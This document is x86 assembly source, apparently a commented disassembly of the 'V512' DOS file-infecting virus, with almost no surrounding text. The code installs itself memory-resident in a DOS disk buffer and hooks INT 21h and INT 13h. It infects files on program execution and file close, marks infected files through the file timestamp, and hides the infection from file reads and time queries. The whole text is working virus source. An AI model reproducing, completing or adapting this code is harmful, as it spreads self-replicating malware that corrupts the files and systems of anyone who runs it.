name a code1 segment byte assume cs:code1,ds:code1 org 0004h D4 = $ org 0050h N50 = $ org 0100h BegAddr = $ Begin: mov si,04h mov ds,si lds dx,dword ptr [si+08h] ; get addr of int 13h into ds:dx mov ah,013h int 02fh ; return orig addr of int 13 into ds:dx push ds push dx int 02fh pop ax mov di,offset BegAddr-8 stosw ; store orig int13 addr offset pop ax stosw ; and segment mov ds,si lds ax,dword ptr [si+040h] ; get addr of int21 into ds:ax cmp ax,0117h stosw ; store int21 addr offset mov ax,ds stosw ; and segment push es ; really this is prog_begin segment push di ; and offset (0100 for .COM) jne N130 shl si,1 mov cx,01ffh rep cmpsb je N177 N130: mov ah,052h ; DOS Fn - Get LIST of LISTS int 021h push es ; return: es:bx - pointer to DOS list of lists mov si,0f8h ; here was stored addres of int13 les di,es:[bx+12h] ; pointer to first disk buffer mov dx,es:[di+02] ; pointer to next disk buffer mov cx,207h ; VirLen + 8 rep movs byte ptr es:[di],byte ptr ss:[si] ; Move v512 into ; first disk buffer mov ds,cx ; ds=0 mov di,016h mov word ptr [di+06eh],0117h ; set int21 to this offset mov word ptr [di+070h],es ; and segment pop ds ; restore pointer to DOS list of lists into ds:bx mov word ptr [bx+014h],dx ; set 2-nd disk buffer as first ; => hide 1-st disk buffer mov dx,cs mov ds,dx mov bx,word ptr [di-014h] ; get top of available system ; memory in paragraphs dec bh ; and decement it mov es,bx ; es=last memory segment cmp dx,word ptr [di] ; dx=Parents ID ? mov ds,word ptr [di] ; ds=PID mov dx,word ptr [di] ; dx=Parents PID !!! dec dx mov ds,dx ; ds=P PID-1 !!! mov si,cx ; si=0 mov dx,di mov cl,028h rep movsw ; P PID-1:0 -> MemTop-1:16 mov ds,bx ; ds=MemTop-1 jb N186 ; ????? N177: mov si,cx ; si=0 mov ds,word ptr ss:[si+02ch] ; ds=Segment address of DOS environment N17d: lodsw dec si or ax,ax jne N17d ; find filespec of THIS file !!! lea dx,word ptr [si+03h] ; and move pointer to ds:dx (FoolBoy!) N186: mov ax,03d00h ; Open a File int 021h ; AL Open mode ; DS:DX Pointer to filename (ASCIIZ string) xchg ax,bx pop dx push dx push cs pop ds push ds pop es mov cl,02h mov ah,03fh int 021h ; Read from File or Device, Using a Handle ; BX File handle ; CX Number of bytes to read ; DS:DX Address of buffer mov dl,cl xchg cl,ch mov al,byte ptr ds:BegAddr cmp al,byte ptr ds:D2ff jne N1a7 mov ah,03fh N1a7: jmp N50 GetFileTblNum: push bx mov ax,01220h ; get system file table number int 02fh ; bx = file handle mov bl,byte ptr es:[di] ; = system file table entry number for ; file handle mov ax,01216h ; get address of system fcb int 02fh ; bx = system file table number ; return: ES:DI - system file table entry pop bx lea di,word ptr [di+015h] mov bp,0200h ret N1c0: mov ah,03fh N1c2: pushf push cs call N248 ret DOS_ReadFromFile: call GetFileTblNum mov si,word ptr es:[di] call N1c0 jb N1f7 cmp si,bp jnb N1f7 push ax mov al,byte ptr es:[di-08h] not al and al,01fh jne N1f6 add si,word ptr es:[di-04h] xchg si,word ptr es:[di] add word ptr es:[di-04h],bp call N1c0 sub word ptr es:[di-04h],bp xchg ax,si stosw N1f6: pop ax N1f7: pop es pop si pop di pop bp boza proc far ret 2 boza endp DOS_QueryFileTimeDate: ; AL : 0 to query the time/date of a file call N1c2 D200 = $-1 lahf mov al,cl and al,01fh cmp al,01fh D207 = $-1 jne N20c xor cl,al N20c: sahf jmp N1f6 Int21Entry: push bp push di push si push es cld mov bp,sp mov es,word ptr [bp+0ah] mov di,0117h mov si,di cmps word ptr cs:[si],word ptr es:[di] je N244 cmp ah,03fh ; DOS Fn 3fH: Read from File via Handle je DOS_ReadFromFile push ax cmp ax,05700h ; DOS Fn 57H: Set/Query File Time/Date je DOS_QueryFileTimeDate cmp ah,03eh ; DOS Fn 3eH: Close a File Handle pushf push bx push cx push dx push ds je DOS_CloseFileHandle cmp ax,04b00h ; DOS Fn 4bH: Execute or Load a Program -- EXEC je DOS_EXEC INT21end: pop ds pop dx pop cx pop bx popf je N1f6 pop ax N244: pop es pop si pop di pop bp N248: jmp dword ptr cs:D4 ; ????? DOS_EXEC: mov ah,03dh ; DS:DX : address of an ASCIIZ string of a int 021h ; filespec ; AL : Open Mode xchg ax,bx DOS_CloseFileHandle: ; BX : file handle call GetFileTblNum jb INT21end ; exit on error xor cx,cx xchg cx,bp mov ds,bp mov si,04ch lodsw push ax lodsw push ax mov ax,02524h ; DOS Fn 25H: Set Interrupt Vector push ax push word ptr [si+040h] push word ptr [si+042h] push cs pop ds ; AL : interrupt number 24h ; INT 24H: Critical Error Handler mov dx,067h ; DS:DX : interrupt vector - address int 021h ; of code to handle an interrupt lds dx,dword ptr [si-050h] mov al,013h ; AL : interrupt number 13h int 021h ; INT 13H: Disk I/O push es pop ds mov word ptr [di],bp mov byte ptr [di-013h],ch cmp word ptr [di+014h],04d4fh jne N2be mov dx,word ptr [di-04h] add dh,ch cmp dh,04h jb N2be test byte ptr [di-011h],04h jne N2be lds si,dword ptr [di-0eh] cmp byte ptr [si+04h],ch jbe N2aa dec dx shr dh,1 and dh,byte ptr [si+04h] je N2be N2aa: mov ds,bp mov dx,cx call N1c0 mov si,dx dec cx N2b4: lodsb cmp al,byte ptr cs:Dfe07[si] Dfe07=0fe07h jne N2d1 loop N2b4 N2be: mov ah,03eh call N1c2 pop ds pop dx pop ax int 021h N2c8: pop ds pop dx mov al,013h int 021h N2ce: jmp INT21end N2d1: mov cx,dx mov si,word ptr es:[di-04h] mov word ptr es:[di],si mov ah,040h int 021h N2de: mov al,byte ptr ds:D200 push es pop ds mov word ptr [di-04h],si mov word ptr [di],bp or byte ptr [di-08h],01fh push cs pop ds mov byte ptr ds:D207,al mov dx,08h mov ah,040h int 021h N2f8: or byte ptr es:[di-0fh],040h jmp N2be D2ff = $ N2ff: db 0e9h org 336h N336 proc near N336 endp code1 ends end begin